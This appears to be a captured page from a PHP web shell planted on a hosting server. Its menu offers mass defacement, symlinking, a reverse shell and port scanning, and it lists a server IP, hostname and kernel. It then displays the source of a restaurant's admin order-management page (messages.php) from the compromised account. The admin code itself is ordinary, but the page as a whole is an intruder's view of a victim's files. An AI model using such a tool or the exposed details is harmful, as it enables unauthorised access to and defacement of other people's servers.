Tul xxx Tul
User / IP
:
216.73.216.95
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
invitados
/
condorburguer
/
admin
/
Viewing: messages.php
<?php include '../components/connect.php'; session_start(); $admin_id = $_SESSION['admin_id']; if(!isset($admin_id)){ header('location:admin_login.php'); } if(isset($_GET['delete'])){ $delete_id = $_GET['delete']; $delete_message = $conn->prepare("DELETE FROM `messages` WHERE id = ?"); $delete_message->execute([$delete_id]); header('location:messages.php'); } ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Pedidos</title> <link rel="icon" href="../images/favi.ico" type="image/x-icon"> <!-- font awesome cdn link --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css"> <!-- custom css file link --> <link rel="stylesheet" href="../css/admin_style.css"> <!-- Agrego flatpickr CSS --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/flatpickr/dist/flatpickr.min.css"> <style> body { min-height: 100vh; background: url('../images/background1.png') center center/cover no-repeat fixed; margin: 0; padding: 0; font-family: 'Segoe UI', 'Arial', sans-serif; } .messages { max-width: 900px; margin: 0 auto; padding: 40px 0 60px 0; } .heading { text-align: center; font-size: 2.5rem; color: #27ae60; margin-bottom: 36px; letter-spacing: 1px; font-weight: 800; text-shadow: 0 2px 12px rgba(39,174,96,0.08); background: linear-gradient(90deg, #e0ffe7 0%, #b2f7c5 100%); border-radius: 18px; padding: 18px 0 14px 0; box-shadow: 0 4px 24px rgba(39,174,96,0.10); } .box-container { display: grid; grid-template-columns: repeat(auto-fit, minmax(320px, 1fr)); gap: 32px; padding: 0 18px; } .box { background: #fff; border-radius: 22px; box-shadow: 0 8px 32px rgba(0,0,0,0.13), 0 1.5px 8px rgba(39,174,96,0.10); padding: 38px 32px 28px 32px; position: relative; transition: transform 0.18s, box-shadow 0.18s; min-height: 260px; display: flex; flex-direction: column; justify-content: space-between; border: 2.5px solid #222; color: #111; font-size: 1.22rem; font-family: 'Segoe UI', 'Arial', sans-serif; letter-spacing: 0.2px; } .box:hover { /* Sin efecto de relieve ni sombra al hacer hover */ border: 2.5px solid #27ae60; } .box .pedido-header { font-size: 1.35rem !important; color: #111 !important; font-weight: 800 !important; margin-bottom: 18px; letter-spacing: 0.5px; } .box .pedido-body { font-size: 1.18rem; color: #222; } .box .pedido-lista-wrap table th, .box .pedido-lista-wrap table td { font-size: 1.13rem; color: #111; padding: 10px 10px; } .box .pedido-lista-wrap table th { background: #f7f7f7; font-weight: 700; border-bottom: 2px solid #e0ffe7; } .box .pedido-lista-wrap table tr { border-bottom: 1.5px solid #f0f0f0; } .box .pedido-lista-wrap table td { background: #fff; } .box .delete-btn, .box button.delete-btn { font-size: 1.18rem; padding: 15px 34px; border-radius: 12px; margin-top: 22px; font-weight: 900; box-shadow: none; /* Sin sombra */ transition: background 0.2s, transform 0.15s, box-shadow 0.18s; letter-spacing: 1.2px; } /* Contenedor para centrar los botones en pedidos pendientes */ .box .botones-pedido { display: flex; justify-content: center; align-items: center; gap: 10px; margin-top: 22px; flex-wrap: wrap; } .box .botones-pedido .delete-btn, .box .botones-pedido button.delete-btn { margin-top: 0; } /* Botón Marcar como Entregado: verde sólido y efecto destello */ .box .marcar-entregado-btn { background: #27ae60 !important; color: #fff !important; border: 2.5px solid #219150; position: relative; overflow: hidden; } .box .marcar-entregado-btn::after { content: ''; position: absolute; left: -75%; top: 0; width: 50%; height: 100%; background: linear-gradient(120deg, rgba(255,255,255,0.25) 0%, rgba(255,255,255,0.7) 50%, rgba(255,255,255,0.25) 100%); transform: skewX(-25deg); transition: left 0.5s cubic-bezier(.4,2,.6,1); pointer-events: none; } .box .marcar-entregado-btn:hover::after { left: 120%; transition: left 0.5s cubic-bezier(.4,2,.6,1); } .box .marcar-entregado-btn:hover { background: #219150 !important; color: #fff !important; transform: scale(1.07); box-shadow: 0 0 16px 2px #27ae60a0; } .box .pedido-mensaje { font-size: 1.18rem; color: #111; background: #f7f7f7; border-radius: 10px; padding: 16px 20px; margin-bottom: 8px; font-weight: 500; } .box .pedido-lista-wrap { margin-bottom: 18px; } .box .pedido-lista-wrap table { margin-bottom: 0; } .box .pedido-body > div { margin-bottom: 10px; } .box .pedido-body > div:last-child { margin-bottom: 0; } .box .pedido-lista-wrap table th, .box .pedido-lista-wrap table td { border-radius: 6px; } .box .pedido-lista-wrap table th:first-child, .box .pedido-lista-wrap table td:first-child { border-radius: 6px 0 0 6px; } .box .pedido-lista-wrap table th:last-child, .box .pedido-lista-wrap table td:last-child { border-radius: 0 6px 6px 0; } .box .pedido-lista-wrap table tr:last-child td { border-bottom: none; } .box .pedido-body b { color: #111; font-weight: 900; } .box .pedido-body .notas { font-size: 1.13rem; color: #444; background: #f7f7f7; border-radius: 8px; padding: 10px 14px; margin-top: 10px; font-weight: 500; } .buscador-fecha-entregados { display:flex; align-items:center; justify-content:flex-end; margin-bottom:10px; gap:10px; } @media (max-width: 600px) { .buscador-fecha-entregados { justify-content: center !important; flex-direction: column; gap: 14px; margin-bottom: 18px; animation: popInFiltro 0.7s cubic-bezier(.4,2,.6,1); margin-top: 60px; /* <-- agregado para dar espacio arriba en móviles */ } .buscador-fecha-entregados label, .buscador-fecha-entregados input, .buscador-fecha-entregados button { width: 100%; max-width: 340px; text-align: center; } .buscador-fecha-entregados button { font-size: 1.13rem; padding: 12px 0; border-radius: 12px; box-shadow: 0 4px 18px rgba(39,174,96,0.10); transition: background 0.2s, transform 0.15s, box-shadow 0.18s; } } @keyframes popInFiltro { from { opacity: 0; transform: scale(0.92) translateY(-18px); } to { opacity: 1; transform: scale(1) translateY(0); } } </style> </head> <body> <?php include '../components/admin_header.php' ?> <!-- messages section starts --> <section class="messages"> <!-- <h1 class="heading">Mensajes de la página</h1> --> <?php // Obtener todos los mensajes y separarlos por estado y tipo // Cambiar el SELECT para traer la fecha formateada en 12 horas con AM/PM $select_messages = $conn->prepare("SELECT *, DATE_FORMAT(created_at, '%d/%m/%Y') as fecha_hora FROM `messages` ORDER BY FIELD(status, 'pendiente', 'entregado'), id DESC"); $select_messages->execute(); $pendientes = []; $entregados = []; $otros = []; if($select_messages->rowCount() > 0){ while($fetch_messages = $select_messages->fetch(PDO::FETCH_ASSOC)){ $isPedido = false; $pedido = null; $msg = $fetch_messages['message']; $decoded = json_decode($msg, true); if (is_array($decoded) && isset($decoded['pedido']) && $fetch_messages['message_type'] === 'local_order') { $isPedido = true; $pedido = $decoded; if($fetch_messages['status'] === 'pendiente') { $pendientes[] = ['data' => $fetch_messages, 'pedido' => $pedido]; } else { $entregados[] = ['data' => $fetch_messages, 'pedido' => $pedido]; } } else { $otros[] = $fetch_messages; } } } ?> <!-- PEDIDOS PENDIENTES --> <?php if(count($pendientes) > 0): ?> <h2 class="titulo-pedidos-pendientes"> Pedidos <span>(Pendientes)</span> </h2> <div class="box-container" id="pendientes-container"> <?php foreach($pendientes as $pedidoInfo): $fetch_messages = $pedidoInfo['data']; $pedido = $pedidoInfo['pedido']; ?> <div class="box pedido-card" style="border-left: 6px solid #e67e22; box-shadow: 0 4px 24px rgba(230,126,34,0.10); position:relative;"> <div class="pedido-header" style="display:flex;justify-content:space-between;align-items:center;margin-bottom:18px;font-size:1.12rem;color:#e67e22;font-weight:600;"> <span><b>Nombre:</b> <?= htmlspecialchars($pedido['nombre'] ?? $fetch_messages['name']) ?></span> <?php if(isset($pedido['mesa'])): ?> <span><b>Mesa:</b> <?= htmlspecialchars($pedido['mesa']) ?></span> <?php endif; ?> </div> <?php if (!empty($fetch_messages['fecha_hora'])): ?> <div class="badge-fecha-hora" style=" display:inline-block; margin-bottom:10px; padding:6px 14px 6px 10px; border-radius:18px; font-size:1.08rem; font-weight:700; background:<?= $fetch_messages['status']=='pendiente' ? '#fffbe7' : '#eafff2' ?>; color:<?= $fetch_messages['status']=='pendiente' ? '#e67e22' : '#27ae60' ?>; box-shadow:0 2px 8px rgba(39,174,96,0.08); letter-spacing:0.5px; display:flex; align-items:center; gap:7px;"> <i class="fa fa-clock" style="font-size:1.1em;<?= $fetch_messages['status']=='pendiente' ? 'color:#e67e22;' : 'color:#27ae60;' ?>"></i> <?= $fetch_messages['fecha_hora'] ?> </div> <?php endif; ?> <div class="pedido-body"> <div class="pedido-lista-wrap" style="margin-bottom:14px;"> <table style="width:100%;border-collapse:collapse;"> <thead> <tr style="background:#f4f8f4;color:#e67e22;font-size:1.05em;"> <th style="text-align:left;padding:6px 8px;">Producto</th> <th style="text-align:center;padding:6px 8px;">Cantidad</th> <th style="text-align:right;padding:6px 8px;">Subtotal</th> </tr> </thead> <tbody> <?php foreach($pedido['pedido'] as $item): ?> <tr style="border-bottom:1px solid #e0ffe7;"> <td style="padding:6px 8px;"> <?= htmlspecialchars($item['nombre']) ?> </td> <td style="text-align:center;padding:6px 8px;"> <?= $item['cantidad'] ?> </td> <td style="text-align:right;padding:6px 8px;">$. <?= number_format($item['precio'] * $item['cantidad'], 2, ',', '.') ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:6px;"> <div style="font-size:1.08rem;color:#222;"><b>Método de pago:</b> <?= htmlspecialchars($pedido['metodoPago'] ?? '-') ?></div> <div style="font-size:1.15rem;color:#e67e22;font-weight:700;"><b>Total:</b> $. <?= isset($pedido['total']) ? number_format($pedido['total'], 2, ',', '.') : '' ?></div> </div> <?php if(!empty($pedido['notas'])): ?> <div style="font-size:1.05rem;color:#555;background:#f4f8f4;border-radius:6px;padding:8px 12px;margin-top:8px;"><b>Notas:</b> <?= htmlspecialchars($pedido['notas']) ?></div> <?php endif; ?> </div> <div class="botones-pedido"> <button class="delete-btn marcar-entregado-btn" style="background:#27ae60;margin-top:10px;opacity:1;" onclick="marcarEntregado(<?= $fetch_messages['id'] ?>, this)"><i class="fa fa-check"></i> Marcar como Entregado</button> <a href="messages.php?delete=<?= $fetch_messages['id']; ?>" class="delete-btn">Eliminar</a> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> <!-- PEDIDOS ENTREGADOS --> <?php if(count($entregados) > 0): ?> <h2 class="titulo-pedidos-entregados desplegable" id="toggle-entregados"> Pedidos <span>(Entregados)</span> <span class="flecha-entregados" id="flecha-entregados"> <svg width="28" height="28" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" style="vertical-align:middle;transition:transform 0.35s cubic-bezier(.4,2,.6,1);"><path d="M7 10l5 5 5-5" stroke="#27ae60" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/></svg> </span> </h2> <div class="buscador-fecha-entregados" style="display:flex;align-items:center;justify-content:flex-end;margin-bottom:10px;gap:10px;"> <label for="filtro-fecha-entregados" style="font-weight:700;color:#27ae60;font-size:1.08rem;display:flex;align-items:center;gap:6px;"> <i class="fa fa-calendar"></i> Buscar por fecha: </label> <input type="date" id="filtro-fecha-entregados" style="padding:7px 12px;border:2px solid #27ae60;border-radius:8px;font-size:1.08rem;outline:none;transition:border 0.2s;" /> <button id="btn-buscar-fecha-entregados" type="button" style="background:linear-gradient(90deg,#27ae60 0%,#b2f7c5 100%);color:#fff;font-weight:900;border:none;border-radius:8px;padding:8px 18px;display:flex;align-items:center;gap:7px;font-size:1.08rem;box-shadow:0 2px 8px rgba(39,174,96,0.10);cursor:pointer;transition:background 0.18s,transform 0.13s;"> <i class="fa fa-search"></i> Buscar </button> </div> <div class="box-container" id="entregados-container"> <?php foreach($entregados as $pedidoInfo): $fetch_messages = $pedidoInfo['data']; $pedido = $pedidoInfo['pedido']; ?> <div class="box pedido-card" style="border-left: 6px solid #27ae60;"> <div class="pedido-header" style="display:flex;justify-content:space-between;align-items:center;margin-bottom:18px;font-size:1.12rem;color:#27ae60;font-weight:600;"> <span><b>Nombre:</b> <?= htmlspecialchars($pedido['nombre'] ?? $fetch_messages['name']) ?></span> <?php if(isset($pedido['mesa'])): ?> <span><b>Mesa:</b> <?= htmlspecialchars($pedido['mesa']) ?></span> <?php endif; ?> </div> <?php if (!empty($fetch_messages['fecha_hora'])): ?> <div class="badge-fecha-hora" style=" display:inline-block; margin-bottom:10px; padding:6px 14px 6px 10px; border-radius:18px; font-size:1.08rem; font-weight:700; background:<?= $fetch_messages['status']=='pendiente' ? '#fffbe7' : '#eafff2' ?>; color:<?= $fetch_messages['status']=='pendiente' ? '#e67e22' : '#27ae60' ?>; box-shadow:0 2px 8px rgba(39,174,96,0.08); letter-spacing:0.5px; display:flex; align-items:center; gap:7px;"> <i class="fa fa-clock" style="font-size:1.1em;<?= $fetch_messages['status']=='pendiente' ? 'color:#e67e22;' : 'color:#27ae60;' ?>"></i> <?= $fetch_messages['fecha_hora'] ?> </div> <?php endif; ?> <div class="pedido-body"> <div class="pedido-lista-wrap" style="margin-bottom:14px;"> <table style="width:100%;border-collapse:collapse;"> <thead> <tr style="background:#f4f8f4;color:#27ae60;font-size:1.05em;"> <th style="text-align:left;padding:6px 8px;">Producto</th> <th style="text-align:center;padding:6px 8px;">Cantidad</th> <th style="text-align:right;padding:6px 8px;">Subtotal</th> </tr> </thead> <tbody> <?php foreach($pedido['pedido'] as $item): ?> <tr style="border-bottom:1px solid #e0ffe7;"> <td style="padding:6px 8px;"> <?= htmlspecialchars($item['nombre']) ?> </td> <td style="text-align:center;padding:6px 8px;"> <?= $item['cantidad'] ?> </td> <td style="text-align:right;padding:6px 8px;">$. <?= number_format($item['precio'] * $item['cantidad'], 2, ',', '.') ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:6px;"> <div style="font-size:1.08rem;color:#222;"><b>Método de pago:</b> <?= htmlspecialchars($pedido['metodoPago'] ?? '-') ?></div> <div style="font-size:1.15rem;color:#27ae60;font-weight:700;"><b>Total:</b> $. <?= isset($pedido['total']) ? number_format($pedido['total'], 2, ',', '.') : '' ?></div> </div> <?php if(!empty($pedido['notas'])): ?> <div style="font-size:1.05rem;color:#555;background:#f4f8f4;border-radius:6px;padding:8px 12px;margin-top:8px;"><b>Notas:</b> <?= htmlspecialchars($pedido['notas']) ?></div> <?php endif; ?> </div> <a href="messages.php?delete=<?= $fetch_messages['id']; ?>" class="delete-btn" style="opacity:1;position:relative;z-index:2;">Eliminar</a> </div> <?php endforeach; ?> </div> <?php endif; ?> <!-- MENSAJES NORMALES --> <?php if(count($otros) > 0): ?> <h2 style="color:#2980b9;text-align:center;margin:40px 0 10px 0;">Mensajes de contacto</h2> <div class="box-container"> <?php foreach($otros as $fetch_messages): ?> <div class="box pedido-card" style="border-left: 6px solid #2980b9;"> <div class="pedido-header" style="display:flex;align-items:center;margin-bottom:12px;font-size:1.12rem;color:#2980b9;font-weight:600;"> <b style="margin-right:8px;">Nombre:</b> <span><?= htmlspecialchars($fetch_messages['name']) ?></span> </div> <div class="pedido-body"> <div class="pedido-mensaje" style="background:#e9fbe7;border-radius:8px;padding:12px 16px;font-size:1.08rem;color:#222;"> <?= nl2br(htmlspecialchars($fetch_messages['message'])) ?> </div> </div> <a href="messages.php?delete=<?= $fetch_messages['id']; ?>" class="delete-btn">Eliminar</a> </div> <?php endforeach; ?> </div> <?php endif; ?> <?php if(count($pendientes) + count($entregados) + count($otros) === 0){ echo '<p class="empty">No tienes mensajes</p>'; } ?> </section> <!-- messages section ends --> <!-- custom js file link --> <script src="../js/admin_script.js"></script> <!-- Agrego flatpickr JS --> <script src="https://cdn.jsdelivr.net/npm/flatpickr"></script> <script> // Inicializar flatpickr solo en móviles para el input de fecha de entregados function esMovil() { return window.innerWidth <= 600; } document.addEventListener('DOMContentLoaded', function() { const inputFecha = document.getElementById('filtro-fecha-entregados'); if(inputFecha && esMovil()) { flatpickr(inputFecha, { dateFormat: 'Y-m-d', position: 'above', locale: 'es', allowInput: true, onOpen: function(selectedDates, dateStr, instance) { // Esperar a que el calendario esté en el DOM setTimeout(function() { const cal = document.querySelector('.flatpickr-calendar'); if(cal) { // Si el calendario se sale de la pantalla, hacer scroll para que se vea completo const rect = cal.getBoundingClientRect(); if(rect.top < 0) { window.scrollBy({top: rect.top - 20, behavior: 'smooth'}); } } }, 100); } }); } }); </script> <!-- SONIDO DE NUEVO PEDIDO --> <audio id="new-order-sound" src="Pedido.mp3" preload="auto"></audio> <script> let lastPendientesIds = []; function createCardPendiente(pedidoInfo) { const fetch_messages = pedidoInfo.data; const pedido = pedidoInfo.pedido; const div = document.createElement('div'); div.className = 'box pedido-card animate-in'; div.style.borderLeft = '6px solid #e67e22'; div.style.boxShadow = '0 4px 24px rgba(230,126,34,0.10)'; div.style.position = 'relative'; div.setAttribute('data-id', fetch_messages.id); div.innerHTML = ` <div class="pedido-header" style="display:flex;justify-content:space-between;align-items:center;margin-bottom:18px;font-size:1.12rem;color:#e67e22;font-weight:600;"> <span><b>Nombre:</b> ${escapeHtml(pedido.nombre ?? fetch_messages.name)}</span> ${pedido.mesa ? `<span><b>Mesa:</b> ${escapeHtml(pedido.mesa)}</span>` : ''} </div> ${fetch_messages.fecha_hora ? `<div class="badge-fecha-hora" style="display:inline-block;margin-bottom:10px;padding:6px 14px 6px 10px;border-radius:18px;font-size:1.08rem;font-weight:700;background:${fetch_messages.status==='pendiente' ? '#fffbe7' : '#eafff2'};color:${fetch_messages.status==='pendiente' ? '#e67e22' : '#27ae60'};box-shadow:0 2px 8px rgba(39,174,96,0.08);letter-spacing:0.5px;display:flex;align-items:center;gap:7px;"><i class="fa fa-clock" style="font-size:1.1em;${fetch_messages.status==='pendiente' ? 'color:#e67e22;' : 'color:#27ae60;'}"></i> ${fetch_messages['fecha_hora']}</div>` : ''} <div class="pedido-body"> <div class="pedido-lista-wrap" style="margin-bottom:14px;"> <table style="width:100%;border-collapse:collapse;"> <thead> <tr style="background:#f4f8f4;color:#e67e22;font-size:1.05em;"> <th style="text-align:left;padding:6px 8px;">Producto</th> <th style="text-align:center;padding:6px 8px;">Cantidad</th> <th style="text-align:right;padding:6px 8px;">Subtotal</th> </tr> </thead> <tbody> ${pedido.pedido.map(item => ` <tr style="border-bottom:1px solid #e0ffe7;"> <td style="padding:6px 8px;">${escapeHtml(item.nombre)}</td> <td style="text-align:center;padding:6px 8px;">${item.cantidad}</td> <td style="text-align:right;padding:6px 8px;">$. ${parseFloat(item.precio * item.cantidad).toLocaleString('es-VE', {minimumFractionDigits:2})}</td> </tr> `).join('')} </tbody> </table> </div> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:6px;"> <div style="font-size:1.08rem;color:#222;"><b>Método de pago:</b> ${escapeHtml(pedido.metodoPago ?? '-')}</div> <div style="font-size:1.15rem;color:#e67e22;font-weight:700;"><b>Total:</b> $. ${pedido.total ? parseFloat(pedido.total).toLocaleString('es-VE', {minimumFractionDigits:2}) : ''}</div> </div> ${pedido.notas ? `<div style="font-size:1.05rem;color:#555;background:#f4f8f4;border-radius:6px;padding:8px 12px;margin-top:8px;"><b>Notas:</b> ${escapeHtml(pedido.notas)}</div>` : ''} </div> <div class="botones-pedido"> <button class="delete-btn marcar-entregado-btn" data-id="${fetch_messages.id}" style="background:#27ae60;margin-top:10px;opacity:1;"><i class="fa fa-check"></i> Marcar como Entregado</button> <a href="messages.php?delete=${fetch_messages.id}" class="delete-btn">Eliminar</a> </div> `; return div; } function updateCardsPendientes(pendientes) { const container = document.getElementById('pendientes-container'); if (!container) return; const currentCards = Array.from(container.children); const currentIds = currentCards.map(card => card.getAttribute('data-id')); const newIds = pendientes.map(p => String(p.data.id)); // Eliminar cards que ya no existen currentCards.forEach(card => { if (!newIds.includes(card.getAttribute('data-id'))) { card.classList.add('fade-out'); setTimeout(() => card.remove(), 400); } }); // Añadir nuevas cards y mantener el orden pendientes.forEach((pedidoInfo, idx) => { const id = String(pedidoInfo.data.id); let card = container.querySelector(`[data-id='${id}']`); if (!card) { card = createCardPendiente(pedidoInfo); if (idx >= container.children.length) { container.appendChild(card); } else { container.insertBefore(card, container.children[idx]); } } else { // Si la card existe pero está en otra posición, la movemos if (container.children[idx] !== card) { container.insertBefore(card, container.children[idx]); } } }); } function createCardEntregado(pedidoInfo) { const fetch_messages = pedidoInfo.data; const pedido = pedidoInfo.pedido; const div = document.createElement('div'); div.className = 'box pedido-card'; div.style.borderLeft = '6px solid #27ae60'; div.setAttribute('data-id', fetch_messages.id); div.innerHTML = ` <div class="pedido-header" style="display:flex;justify-content:space-between;align-items:center;margin-bottom:18px;font-size:1.12rem;color:#27ae60;font-weight:600;"> <span><b>Nombre:</b> ${escapeHtml(pedido.nombre ?? fetch_messages.name)}</span> ${pedido.mesa ? `<span><b>Mesa:</b> ${escapeHtml(pedido.mesa)}</span>` : ''} </div> ${fetch_messages.fecha_hora ? `<div class="badge-fecha-hora" style="display:inline-block;margin-bottom:10px;padding:6px 14px 6px 10px;border-radius:18px;font-size:1.08rem;font-weight:700;background:${fetch_messages.status==='pendiente' ? '#fffbe7' : '#eafff2'};color:${fetch_messages.status==='pendiente' ? '#e67e22' : '#27ae60'};box-shadow:0 2px 8px rgba(39,174,96,0.08);letter-spacing:0.5px;display:flex;align-items:center;gap:7px;"><i class="fa fa-clock" style="font-size:1.1em;${fetch_messages.status==='pendiente' ? 'color:#e67e22;' : 'color:#27ae60;'}"></i> ${fetch_messages.fecha_hora}</div>` : ''} <div class="pedido-body"> <div class="pedido-lista-wrap" style="margin-bottom:14px;"> <table style="width:100%;border-collapse:collapse;"> <thead> <tr style="background:#f4f8f4;color:#27ae60;font-size:1.05em;"> <th style="text-align:left;padding:6px 8px;">Producto</th> <th style="text-align:center;padding:6px 8px;">Cantidad</th> <th style="text-align:right;padding:6px 8px;">Subtotal</th> </tr> </thead> <tbody> ${pedido.pedido.map(item => ` <tr style="border-bottom:1px solid #e0ffe7;"> <td style="padding:6px 8px;">${escapeHtml(item.nombre)}</td> <td style="text-align:center;padding:6px 8px;">${item.cantidad}</td> <td style="text-align:right;padding:6px 8px;">$. ${parseFloat(item.precio * item.cantidad).toLocaleString('es-VE', {minimumFractionDigits:2})}</td> </tr> `).join('')} </tbody> </table> </div> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:6px;"> <div style="font-size:1.08rem;color:#222;"><b>Método de pago:</b> ${escapeHtml(pedido.metodoPago ?? '-')}</div> <div style="font-size:1.15rem;color:#27ae60;font-weight:700;"><b>Total:</b> $. ${pedido.total ? parseFloat(pedido.total).toLocaleString('es-VE', {minimumFractionDigits:2}) : ''}</div> </div> ${pedido.notas ? `<div style="font-size:1.05rem;color:#555;background:#f4f8f4;border-radius:6px;padding:8px 12px;margin-top:8px;"><b>Notas:</b> ${escapeHtml(pedido.notas)}</div>` : ''} </div> <a href="messages.php?delete=${fetch_messages.id}" class="delete-btn" style="opacity:1;position:relative;z-index:2;">Eliminar</a> `; return div; } function updateCardsEntregados(entregados) { const container = document.getElementById('entregados-container'); if (!container) return; const currentCards = Array.from(container.children); const currentIds = currentCards.map(card => card.getAttribute('data-id')); const newIds = entregados.map(p => String(p.data.id)); // Eliminar cards que ya no existen currentCards.forEach(card => { if (!newIds.includes(card.getAttribute('data-id'))) { card.classList.add('fade-out'); setTimeout(() => card.remove(), 400); } }); // Añadir nuevas cards y mantener el orden entregados.forEach((pedidoInfo, idx) => { const id = String(pedidoInfo.data.id); let card = container.querySelector(`[data-id='${id}']`); if (!card) { card = createCardEntregado(pedidoInfo); if (idx >= container.children.length) { container.appendChild(card); } else { container.insertBefore(card, container.children[idx]); } } else { // Si la card existe pero está en otra posición, la movemos if (container.children[idx] !== card) { container.insertBefore(card, container.children[idx]); } } }); } function asignarEventosMarcarEntregado() { document.querySelectorAll('.marcar-entregado-btn').forEach(btn => { btn.onclick = function() { const id = this.getAttribute('data-id'); const card = this.closest('.box.pedido-card'); if(!confirm('¿Marcar este pedido como entregado?')) return; this.disabled = true; fetch('update_order_status.php', { method: 'POST', body: new URLSearchParams({id: id, status: 'entregado'}) }) .then(res => res.json()) .then(data => { if(data.success) { // Mover la tarjeta a la sección de entregados con animación card.classList.add('fade-out'); setTimeout(() => { card.classList.remove('fade-out'); card.style.opacity = 0.7; card.style.borderLeft = '6px solid #27ae60'; // Quitar el botón de entregar card.querySelector('.marcar-entregado-btn').remove(); // Cambiar color de header const header = card.querySelector('.pedido-header'); if(header) header.style.color = '#27ae60'; // Mover al contenedor de entregados document.getElementById('entregados-container').appendChild(card); }, 400); } else { alert('No se pudo actualizar el estado.'); this.disabled = false; } }) .catch(() => { alert('Error de red.'); this.disabled = false; }); }; }); } function renderPedidos(pendientes, entregados, otros) { updateCardsPendientes(pendientes); updateCardsEntregados(entregados); setTimeout(() => { asignarEventosEliminar(); asignarEventosMarcarEntregado(); }, 100); } function escapeHtml(text) { if (!text) return ''; return text.replace(/[&<>"']/g, function(m) { return ({'&':'&','<':'<','>':'>','"':'"',"'":'''})[m]; }); } function nl2br(str) { return str.replace(/\n/g, '<br>'); } function asignarEventosEliminar() { // Reasignar eventos a los nuevos botones de eliminar document.querySelectorAll('.box.pedido-card a.delete-btn').forEach(btn => { btn.onclick = function(e) { e.preventDefault(); eliminarHref = this.getAttribute('href'); modal.style.display = 'flex'; }; }); } function reproducirSonidoNuevoPedido() { console.log('Intentando reproducir sonido de nuevo pedido...'); const audio = document.getElementById('new-order-sound'); if (!audio) { console.log('No se encontró el elemento de audio'); return; } try { audio.pause(); audio.currentTime = 0; const playPromise = audio.play(); if (playPromise !== undefined) { playPromise.catch((error) => { console.log('No se pudo reproducir el sonido:', error); }); } } catch (e) { console.log('Error al reproducir el sonido:', e); } } function checkNewPedidos(pendientes) { const ids = pendientes.map(p => p.data.id); // Detectar si hay un nuevo pedido pendiente const nuevos = ids.filter(id => !lastPendientesIds.includes(id)); if (nuevos.length > 0) { // Sonido y animación visual reproducirSonidoNuevoPedido(); // Parpadeo visual en las nuevas cards setTimeout(() => { document.querySelectorAll('.box.pedido-card.animate-in').forEach(card => { card.classList.add('flash-new'); setTimeout(() => card.classList.remove('flash-new'), 1800); }); }, 200); } lastPendientesIds = ids; } function fetchAndUpdate() { fetch('messages_fetch.php') .then(res => res.json()) .then(data => { renderPedidos(data.pendientes, data.entregados, data.otros); checkNewPedidos(data.pendientes); }); } setInterval(fetchAndUpdate, 5000); document.addEventListener('DOMContentLoaded', function() { // Guardar ids iniciales fetch('messages_fetch.php') .then(res => res.json()) .then(data => { lastPendientesIds = data.pendientes.map(p => p.data.id); }); // Habilitar el audio tras la primera interacción del usuario const audio = document.getElementById('new-order-sound'); function enableAudio() { if (audio) { audio.play().catch(()=>{}); audio.pause(); audio.currentTime = 0; } window.removeEventListener('click', enableAudio); } window.addEventListener('click', enableAudio); }); </script> <style> .box.pedido-card.animate-in { animation: fadeInCard 0.7s cubic-bezier(.4,2,.6,1); } @keyframes fadeInCard { from { opacity: 0; transform: scale(0.95); } to { opacity: 1; transform: scale(1); } } .box.pedido-card.flash-new { animation: flashNew 1.8s cubic-bezier(.4,2,.6,1); } @keyframes flashNew { 0% { box-shadow: 0 0 0 0 #ffe066, 0 8px 32px rgba(0,0,0,0.13); } 20% { box-shadow: 0 0 16px 8px #ffe066, 0 8px 32px rgba(0,0,0,0.13); } 40% { box-shadow: 0 0 0 0 #ffe066, 0 8px 32px rgba(0,0,0,0.13); } 60% { box-shadow: 0 0 16px 8px #ffe066, 0 8px 32px rgba(0,0,0,0.13); } 100% { box-shadow: 0 0 0 0 #ffe066, 0 8px 32px rgba(0,0,0,0.13); } } .fade-out { opacity: 0 !important; transition: opacity 0.4s; } .badge-fecha-hora { animation: fadeInBadge 0.7s cubic-bezier(.4,2,.6,1); } @keyframes fadeInBadge { from { opacity: 0; transform: translateY(-10px) scale(0.95);} to { opacity: 1; transform: translateY(0) scale(1);} } .titulo-pedidos-pendientes { color: #111 !important; background: #fff; border: 4px solid #e74c3c; border-radius: 18px; font-weight: 900; font-size: 2.2rem; box-shadow: 0 4px 24px rgba(231,76,60,0.13); display: inline-block; width: 100%; letter-spacing: 1px; text-align: center; margin: 30px 0 10px 0; padding: 18px 0 14px 0; position: relative; animation: popInTitle 0.7s cubic-bezier(.4,2,.6,1); } .titulo-pedidos-pendientes span { color: #e74c3c; font-weight: 900; margin-left: 6px; } .titulo-pedidos-entregados { color: #111 !important; background: #fff; border: 4px solid #27ae60; border-radius: 18px; font-weight: 900; font-size: 2.2rem; box-shadow: 0 4px 24px rgba(39,174,96,0.13); display: inline-block; width: 100%; letter-spacing: 1px; text-align: center; margin: 40px 0 10px 0; padding: 18px 0 14px 0; position: relative; animation: popInTitle 0.7s cubic-bezier(.4,2,.6,1); } .titulo-pedidos-entregados span { color: #27ae60; font-weight: 900; margin-left: 6px; } @keyframes popInTitle { from { opacity: 0; transform: scale(0.92) translateY(-18px); } to { opacity: 1; transform: scale(1) translateY(0); } } .titulo-pedidos-entregados.desplegable { cursor: pointer; user-select: none; position: relative; display: flex; align-items: center; justify-content: center; gap: 12px; } .flecha-entregados { display: inline-flex; align-items: center; margin-left: 12px; transition: transform 0.35s cubic-bezier(.4,2,.6,1); } .flecha-entregados.abierta svg { transform: rotate(180deg); } #entregados-container { overflow: hidden; transition: max-height 0.55s cubic-bezier(.4,2,.6,1), opacity 0.35s; max-height: 0; 